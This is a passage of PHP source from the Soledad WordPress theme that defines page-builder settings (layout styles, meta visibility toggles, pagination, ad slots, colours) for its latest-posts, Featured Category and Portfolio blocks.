						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Enable Post Meta Overlay Featured Image', 'soledad' ),
						'param_name'       => 'grid_meta_overlay',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Enable Uppercase on Post Categories', 'soledad' ),
						'param_name'       => 'grid_uppercase_cat',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Do Not Crop Images in List Layouts', 'soledad' ),
						'param_name'  => 'grid_nocrop_list',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'description' => 'This option does not apply for gallery posts format',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Share Box', 'soledad' ),
						'param_name'       => 'grid_share_box',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Category', 'soledad' ),
						'param_name'       => 'grid_cat',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Post Author', 'soledad' ),
						'param_name'       => 'grid_author',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Post Date', 'soledad' ),
						'param_name'       => 'grid_date',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Comment Count on Mixed & Overlay Posts', 'soledad' ),
						'param_name'       => 'grid_comment',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Show Comment Count on Grid, Masonry, List, Boxed, Photography Posts', 'soledad' ),
						'param_name'       => 'grid_comment_other',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Show Views Count', 'soledad' ),
						'param_name'       => 'grid_viewscount',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Reading Time', 'soledad' ),
						'param_name'       => 'grid_readtime',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Remove Line Above Post Excerpt', 'soledad' ),
						'param_name'       => 'grid_remove_line',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Remove Post Excerpt', 'soledad' ),
						'param_name'       => 'grid_remove_excerpt',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Add "Read more" button link', 'soledad' ),
						'param_name'       => 'grid_add_readmore',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Remove arrow on "Read more"', 'soledad' ),
						'param_name'       => 'grid_remove_arrow',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Make "Read more" is A Button', 'soledad' ),
						'param_name'       => 'grid_readmore_button',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Share Box Alignment', 'soledad' ),
						'value'      => array(
							'Default' => '',
							'Left'    => 'left',
							'Center'  => 'center',
							'Right'   => 'right',
						),
						'param_name' => 'share_alignment'
					),
					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Align "Read more" Button', 'soledad' ),
						'std'              => 'left',
						'value'            => array(
							'Left'   => 'left',
							'Center' => 'center',
							'Right'  => 'right',
						),
						'param_name'       => 'grid_readmore_align',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Words Length for Post Titles', 'soledad' ),
						'param_name' => 'grid_title_length',
					),
					array(
						'type'             => 'textfield',
						'heading'          => esc_html__( 'Custom Excerpt Length', 'soledad' ),
						'param_name'       => 'grid_excerpt_length',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Align Excerpt', 'soledad' ),
						'value'      => array(
							'Default' => '',
							'Left'    => 'left',
							'Center'  => 'center',
							'Right'   => 'right',
						),
						'param_name' => 'grid_excerpt_align',
						'dependency' => array(
							'element' => 'style',
							'value'   => array(
								'standard',
								'classic',
								'grid',
								'grid-2',
								'masonry',
								'masonry-2',
								'list',
								'mixed',
								'mixed-2',
								'standard-grid',
								'standard-grid-2',
								'standard-list',
								'standard-boxed-1',
								'classic-grid',
								'classic-grid-2',
								'classic-list',
								'classic-boxed-1',
								'overlay-grid',
								'overlay-list'
							)
						),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Grid Heading HTML Tag', 'soledad' ),
						'value'      => array(
							'Default' => '',
							'H1'    	=> 'h1',
							'H2'    	=> 'h2',
							'H3'    	=> 'h3',
							'H4'    	=> 'h4',
							'H5'    	=> 'h5',
							'H6'    	=> 'h6',
						),
						'param_name' => 'grid_title_tag',
						'dependency' => array(
							'element' => 'style',
							'value'   => array(
								'standard',
								'classic',
								'grid',
								'grid-2',
								'masonry',
								'masonry-2',
								'list',
								'mixed',
								'mixed-2',
								'standard-grid',
								'standard-grid-2',
								'standard-list',
								'standard-boxed-1',
								'classic-grid',
								'classic-grid-2',
								'classic-list',
								'classic-boxed-1',
								'overlay-grid',
								'overlay-list'
							)
						),
					),
					array(
						'type'        => 'textfield',
						'heading'     => esc_html__( 'Image Width on List & Small List Layout', 'soledad' ),
						'param_name'  => 'list_imgwidth',
						'description' => __( 'Unit is px or %. Fill unit here also. Example:  <strong>200px</strong> or <strong>30%</strong>', 'soledad' ),
						'dependency'  => array(
							'element' => 'style',
							'value'   => array(
								'list',
								'small-list',
								'mixed-3',
								'mixed-4',
								'standard-list',
								'classic-list',
								'overlay-list'
							)
						)
					),

					// Nav
					array(
						'type'             => 'textfield',
						'param_name'       => 'heading_page_nav_settings',
						'heading'          => esc_html__( 'Page Navigation', 'soledad' ),
						'value'            => '',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => __( 'Page Navigation Style', 'soledad' ),
						'value'       => array(
							'Page Navigation Numbers' => 'numbers',
							'Load More Posts'         => 'loadmore',
							'Infinite Scroll'         => 'scroll',
							'Next/Previous'           => 'nextprev',
							'None'                    => 'none'
						),
						'param_name'  => 'paging',
						'description' => 'Select Page Navigation Style',
					),
					array(
						'type'        => 'textfield',
						'heading'     => esc_html__( 'Custom Number Posts for Each Time Load More Posts', 'soledad' ),
						'param_name'  => 'morenum',
						'value'       => '',
						'description' => esc_html__( 'Use numeric value only', 'soledad' ),
						'dependency'  => array( 'element' => 'paging', 'value' => array( 'loadmore', 'scroll' ) ),
					),
					array(
						'type'             => 'penci_number',
						'param_name'       => 'penci_paging_martop',
						'heading'          => __( 'Margin Top for Page Navigation', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'textfield',
						'param_name'       => 'heading_page_nav_settings',
						'heading'          => esc_html__( 'In-feed Ads', 'soledad' ),
						'value'            => '',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Insert In-feed Ads Code After Every How Many Posts?', 'soledad' ),
						'param_name' => 'infeed_num',
						'value'      => '3',
					),
					array(
						'type'       => 'textarea_raw_html',
						'holder'     => 'div',
						'heading'    => __( 'In-feed Ads Code/HTML', 'soledad' ),
						'param_name' => 'infeed_code',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'In-feed Ads Layout Type', 'soledad' ),
						'value'      => array(
							'Follow Selected Layout' => '',
							'Full Width'             => 'full',
						),
						'param_name' => 'infeed_layout',
					),
					array(
						'type'             => 'textfield',
						'param_name'       => 'latestpost_heading_2',
						'heading'          => esc_html__( 'Block Heading Title', 'soledad' ),
						'value'            => '',
						'group'            => 'Heading',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'penci_switch',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'heading'     => __( 'Hide Heading Title', 'soledad' ),
						'param_name'  => 'hide_block_heading',
						'group'       => 'Heading',
					),
				), Penci_Vc_Params_Helper::heading_block_params( false ), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::params_latest_posts_typo_color(), Penci_Vc_Params_Helper::params_heading_filter(), Penci_Vc_Params_Helper::params_custom_meta_fields(), Penci_Vc_Params_Helper::params_heading_filter_style(), array(
					array(
						'type'       => 'css_editor',
						'heading'    => __( 'CSS box', 'soledad' ),
						'param_name' => 'css',
						'group'      => __( 'Design Options', 'soledad' ),
					),
					penci_get_vc_responsive_spacing_map(),
				) )
			) );

			// Featured Categories
			vc_map( array(
				'name'        => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Featured Category', 'soledad' ),
				'description' => 'Display A Featured Category',
				'base'        => 'featured_cat',
				'class'       => '',
				'controls'    => 'full',
				'icon'        => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
				'category'    => penci_get_theme_name( 'Soledad' ),
				'weight'      => 700,
				'params'      => array_merge( array(
					array(
						'type'             => 'textfield',
						'param_name'       => 'featured_cat_heading_1',
						'heading'          => esc_html__( 'General', 'soledad' ),
						'value'            => '',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'loop',
						'heading'     => '',
						'param_name'  => 'build_query',
						'value'       => 'post_type:post|size:10',
						'settings'    => array(
							'size'      => array( 'value' => 10, 'hidden' => false ),
							'post_type' => array( 'value' => 'post', 'hidden' => false )
						),
						'description' => __( 'Create WordPress loop, to populate content from your site.', 'soledad' ),
					),
					array(
						'type'        => 'dropdown',
						'heading'     => __( 'Featured Category Layout', 'soledad' ),
						'value'       => array(
							'Style 1 - 1st Post Grid Featured on Left'    => 'style-1',
							'Style 2 - 1st Post Grid Featured on Top'     => 'style-2',
							'Style 3 - Text Overlay'                      => 'style-3',
							'Style 4 - Single Slider'                     => 'style-4',
							'Style 5 - Slider 2 Columns'                  => 'style-5',
							'Style 6 - 1st Post List Featured on Top'     => 'style-6',
							'Style 7 - Grid 2 Columns'                    => 'style-7',
							'Style 8 - List Layout'                       => 'style-8',
							'Style 9 - Small List Layout'                 => 'style-9',
							'Style 10 - 2 First Posts Featured and List'  => 'style-10',
							'Style 11 - Text Overlay Center'              => 'style-11',
							'Style 12 - Slider 3 Columns'                 => 'style-12',
							'Style 13 - Grid 3 Columns'                   => 'style-13',
							'Style 14 - 1st Post Overlay Featured on Top' => 'style-14',
							'Style 15 - Overlay Left then List on Right'  => 'style-15',
						),
						'param_name'  => 'style',
						'description' => '',
					),

					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Image Size Type', 'soledad' ),
						'value'      => array(
							'Default'         => '',
							'Horizontal Size' => 'horizontal',
							'Square Size'     => 'square',
							'Vertical Size'   => 'vertical',
							'Custom'          => 'custom',
						),
						'std'        => '',
						'param_name' => 'penci_featimg_size',
					),
					array(
						'type'       => 'penci_only_number',
						'heading'    => esc_html__( 'Image Ratio.Unit is %. E.g: 50', 'soledad' ),
						'param_name' => 'penci_featimg_ratio',
						'value'      => '',
						'std'        => '',
						'min'        => 0,
						'max'        => 100,
						'suffix'     => '%',
						'dependency' => array( 'element' => 'penci_featimg_size', 'value' => 'custom' ),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Custom Image Size', 'soledad' ),
						'value'      => array(
							'Default'                              => '',
							'Thumbnail - 150 x 150'                => 'thumbnail',
							'Medium - 300 x 300'                   => 'medium',
							'Medium Large - 768 x auto'            => 'medium_large',
							'Large - 1024 x 1024'                  => 'large',
							'Penci-single-full - 1920 x auto'      => 'penci-single-full',
							'Penci-slider-full-thumb - 1920 x 800' => 'penci-slider-full-thumb',
							'Penci-full-thumb - 1170 x auto'       => 'penci-full-thumb',
							'Penci-slider-thumb - 1170 x 663'      => 'penci-slider-thumb',
							'Penci-magazine-slider - 780 x 516'    => 'penci-magazine-slider',
							'Penci-thumb - 585 x 390'              => 'penci-thumb',
							'Penci-masonry-thumb - 585 x auto'     => 'penci-masonry-thumb',
							'Penci-thumb-square - 585 x 585'       => 'penci-thumb-square',
							'Penci-thumb-vertical - 480 x 650'     => 'penci-thumb-vertical',
							'Penci-thumb-small - 263 x 175'        => 'penci-thumb-small',
							'Full'                                 => 'full',
						),
						'param_name' => 'thumb_size',
						'dependency' => array( 'element' => 'penci_featimg_size', 'value' => 'custom' ),
					),
					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Columns on Desktop', 'soledad' ),
						'value'            => array(
							'Default' => '',
							1         => 1,
							2         => 2,
							3         => 3,
							4         => 4,
							5         => 6,
							6         => 6,
						),
						'param_name'       => 'penci_columns',
						'edit_field_class' => 'vc_col-sm-2',
						'dependency'       => array(
							'element' => 'style',
							'value'   => array( 'style-3', 'style-11' )
						),
					),
					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Columns on Tablet', 'soledad' ),
						'value'            => array(
							'Default' => '',
							1         => 1,
							2         => 2,
							3         => 3,
							4         => 4,
							5         => 6,
							6         => 6,
						),
						'param_name'       => 'penci_columns_tablet',
						'edit_field_class' => 'vc_col-sm-2',
						'dependency'       => array(
							'element' => 'style',
							'value'   => array( 'style-3', 'style-11' )
						),
					),
					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Columns on Mobile', 'soledad' ),
						'value'            => array(
							'Default' => '',
							1         => 1,
							2         => 2,
							3         => 3,
							4         => 4,
							5         => 6,
							6         => 6,
						),
						'param_name'       => 'penci_columns_mobile',
						'edit_field_class' => 'vc_col-sm-2',
						'dependency'       => array(
							'element' => 'style',
							'value'   => array( 'style-3', 'style-11' )
						),
					),
					array(
						'type'             => 'penci_number',
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'heading'          => esc_html__( 'Columns Gap', 'soledad' ),
						'param_name'       => 'penci_column_gap',
						'edit_field_class' => 'vc_col-sm-6',

						'dependency' => array( 'element' => 'style', 'value' => array( 'style-3', 'style-11' ) ),
					),
					array(
						'type'             => 'penci_number',
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'heading'          => esc_html__( 'Rows Gap', 'soledad' ),
						'param_name'       => 'penci_row_gap',
						'edit_field_class' => 'vc_col-sm-6',
						'dependency'       => array(
							'element' => 'style',
							'value'   => array( 'style-3', 'style-11', 'style-8' )
						),
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Show Thumbnail on Small Posts', 'soledad' ),
						'param_name'  => 'thumb15',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'dependency'  => array( 'element' => 'style', 'value' => array( 'style-15' ) ),
					),
					array(
						'type'             => 'penci_number',
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'heading'          => esc_html__( 'Custom Image Width for Small Posts', 'soledad' ),
						'param_name'       => 'simgwidth',
						'edit_field_class' => 'vc_col-sm-6',
						'dependency'       => array(
							'element' => 'style',
							'value'   => array(
								'style-1',
								'style-2',
								'style-6',
								'style-9',
								'style-10',
								'style-15'
							)
						),
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Words Length for Post Titles for style 1,2,6,10,14', 'soledad' ),
						'param_name' => 'big_title_length',
						'value'      => '',
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Words Length for Post Titles', 'soledad' ),
						'param_name' => '_title_length',
						'value'      => '',
					),
					array(
						'type'             => 'textfield',
						'param_name'       => 'featured_cat_heading_2',
						'heading'          => esc_html__( 'Block Heading Title', 'soledad' ),
						'value'            => '',
						'group'            => 'Heading',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'penci_switch',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'heading'     => __( 'Hide Heading Title', 'soledad' ),
						'param_name'  => 'hide_block_heading',
						'group'       => 'Heading',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Enable Post Meta Overlay Featured Image', 'soledad' ),
						'param_name'  => 'enable_meta_overlay',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'description' => 'This option just apply for or Featured Category Style 7'
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Hide Post Author', 'soledad' ),
						'param_name'  => 'hide_author',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Show Post Author on Small Posts', 'soledad' ),
						'param_name'  => 'show_author_sposts',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Hide Category', 'soledad' ),
						'param_name'  => 'hide_cat',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'description' => 'This option just apply for or Featured Category Style 8'
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Hide Icon Post Format', 'soledad' ),
						'param_name'  => 'hide_icon_format',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Hide Post Date', 'soledad' ),
						'param_name'  => 'hide_date',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Show Comment Count', 'soledad' ),
						'param_name'       => 'show_commentcount',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Show Views Count', 'soledad' ),
						'param_name'       => 'show_viewscount',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Hide Reading Time', 'soledad' ),
						'param_name'  => 'hide_readtime',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Hide Post Excerpt', 'soledad' ),
						'param_name'  => 'hide_excerpt',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Disable Autoplay for Sliders on Style 4, 5, 12', 'soledad' ),
						'param_name'  => 'cat_autoplay',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Remove Line Above Post Excerpt', 'soledad' ),
						'param_name'  => 'hide_excerpt_line',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Excerpt Length for style 1,2,6,7,8,10', 'soledad' ),
						'param_name' => '_excerpt_length',
						'value'      => '',
					),
					//// Enable view all button
					array(
						'type'             => 'textfield',
						'param_name'       => 'heading_viewall_settings',
						'heading'          => esc_html__( 'View All Button', 'soledad' ),
						'value'            => '',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Enable "View All" Button', 'soledad' ),
						'param_name'  => 'cat_seemore',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Link for "View All" Button', 'soledad' ),
						'param_name' => 'cat_view_link',
						'value'      => '',
						'dependency' => array( 'element' => 'cat_seemore', 'value' => array( 'yes' ) ),
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Remove arrow on "View All"', 'soledad' ),
						'param_name'  => 'cat_remove_arrow',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'dependency'  => array( 'element' => 'cat_seemore', 'value' => array( 'yes' ) ),
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Make "View All" is A Button', 'soledad' ),
						'param_name'  => 'cat_readmore_button',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'dependency'  => array( 'element' => 'cat_seemore', 'value' => array( 'yes' ) ),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Align "View All" Button', 'soledad' ),
						'param_name' => 'cat_readmore_align',
						'value'      => array(
							__( 'Align Left', 'soledad' )   => 'left',
							__( 'Align Center', 'soledad' ) => 'center',
							__( 'Align Right', 'soledad' )  => 'right',
						),
						'std'        => 'center',
					),
					array(
						'type'       => 'penci_number',
						'param_name' => 'cat_readmore_martop',
						'heading'    => __( 'Custom Margin Top for "View All" Button', 'soledad' ),
						'value'      => '',
						'std'        => '',
						'suffix'     => 'px',
						'min'        => 1,
						'dependency' => array( 'element' => 'cat_seemore', 'value' => array( 'yes' ) ),
					),
				), Penci_Vc_Params_Helper::heading_block_params( false ), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::params_featured_cat_typo_color(), Penci_Vc_Params_Helper::params_heading_filter( true ), Penci_Vc_Params_Helper::params_custom_meta_fields(), Penci_Vc_Params_Helper::params_heading_filter_style(), array(
					array(
						'type'       => 'css_editor',
						'heading'    => __( 'CSS box', 'soledad' ),
						'param_name' => 'css',
						'group'      => __( 'Design Options', 'soledad' ),
					),
					penci_get_vc_responsive_spacing_map(),
				) )
			) );

			// Portfolio
			vc_map( array(
				'name'        => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Portfolio', 'soledad' ),
				'description' => 'Display Your Portfolio',
				'base'        => 'portfolio',
				'class'       => '',
				'controls'    => 'full',
				'icon'        => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
				'category'    => penci_get_theme_name( 'Soledad' ),
				'weight'      => 700,
				'params'      => array(
					array(
						'type'        => 'loop',
						'heading'     => __( 'Click button below to Build Query for This Portfolio', 'soledad' ),
						'param_name'  => 'loop',
						'value'       => 'post_type:portfolio',
						'settings'    => array(
							'size'      => array( 'value' => '' ),
							'post_type' => array( 'value' => 'portfolio' ),
						),
						'description' => __( 'Create Portfolio loop, to populate content from your site.', 'soledad' ),
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Portfolio Style',
						'value'       => array(
							'Masonry' => 'masonry',
							'Grid'    => 'grid'
						),
						'param_name'  => 'style',
						'description' => '',
					),
					array(
						'type'        => 'hidden',
						'heading'     => 'Number Portfolio Display',
						'param_name'  => 'number',
						'description' => 'Fill the number portfolio display you want here',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => esc_html__( 'Item Style', 'penci-framework' ),
						'value'      => array(
							'Text Overlay'     => 'text_overlay',
							'Text Below Image' => 'below_img'
						),
						'param_name' => 'item_style',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Number Columns',
						'value'       => array(
							'3 Columns' => '3',
							'2 Columns' => '2'
						),
						'param_name'  => 'column',
						'description' => '',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Image Type - Just apply for Grid Style', 'soledad' ),
						'param_name' => 'image_type',
						'value'      => array(
							__( 'Square', 'soledad' )    => 'square',
							__( 'Vertical', 'soledad' )  => 'vertical',
							__( 'Landscape', 'soledad' ) => 'landscape',
						),
						'std'        => 'landscape',
					),
					array(
						'type'        => 'hidden',
						'heading'     => 'Display Portfolio in Portfolio Categories',
						'param_name'  => 'cat',
						'description' => 'Fill the portfolio categories slug you want to display. E.g: cat-1, cat-2',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Display Filter?',
						'value'       => array(
							'Yes' => 'true',
							'No'  => 'false'
						),
						'param_name'  => 'filter',
						'description' => '',
					),
					array(
						'type'        => 'textfield',
						'heading'     => 'All Portfolio Text',
						'param_name'  => 'all_text',
						'description' => '',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => esc_html__( 'Pagination:', 'soledad' ),
						'param_name' => 'pagination',
						'std'        => 'number',
						'value'      => array(
							esc_html__( 'Numeric Pagination', 'soledad' ) => 'number',
							esc_html__( 'Load More Button', 'soledad' )   => 'load_more',
							esc_html__( 'Infinite Load', 'soledad' )      => 'infinite',
							esc_html__( 'None', 'soledad' )               => 'none',
						),
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Number Posts for Each Time Load More Posts', 'soledad' ),
						'param_name' => 'numbermore',
						'std'        => 6,
						'dependency' => array( 'element' => 'pagination', 'value' => array( 'load_more', 'infinite' ) )
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Enable Click on Thumbnails to Open Lightbox?',
						'value'       => array(
							'No'  => 'false',
							'Yes' => 'true'
						),
						'param_name'  => 'lightbox',
						'description' => '',
					),
					// Typo
					array(
						'type'             => 'textfield',
						'param_name'       => 'heading_filter_settings',
						'heading'          => esc_html__( 'Portfolio Filter', 'soledad' ),
						'value'            => '',
						'group'            => $group_color,
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Link Color', 'soledad' ),
						'param_name'       => 'pfilter_color',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
						'param_name'       => 'pfilter_hcolor',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_number',
						'param_name'       => 'pfilter_fsize',
						'heading'          => __( 'Font Size for Link', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Custom Font Family for Link', 'soledad' ),
						'param_name'       => 'use_pfilter_typo',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'google_fonts',
						'group'      => $group_color,
						'param_name' => 'pfilter_typo',
						'value'      => '',
						'dependency' => array( 'element' => 'use_pfilter_typo', 'value' => 'yes' ),
					),
					array(
						'type'             => 'textfield',
						'param_name'       => 'heading_ptittle_settings',
						'heading'          => esc_html__( 'Portfolio Title', 'soledad' ),
						'value'            => '',
						'group'            => $group_color,
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Portfolio Background Overlay Color', 'soledad' ),
						'param_name'       => 'pbgoverlay_color',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Portfolio Title Color', 'soledad' ),
						'param_name'       => 'ptitle_color',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Portfolio Title Hover Color', 'soledad' ),
						'param_name'       => 'ptitle_hcolor',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_number',
						'param_name'       => 'ptitle_fsize',
						'heading'          => __( 'Font Size for Portfolio Title', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'group'            => $group_color,
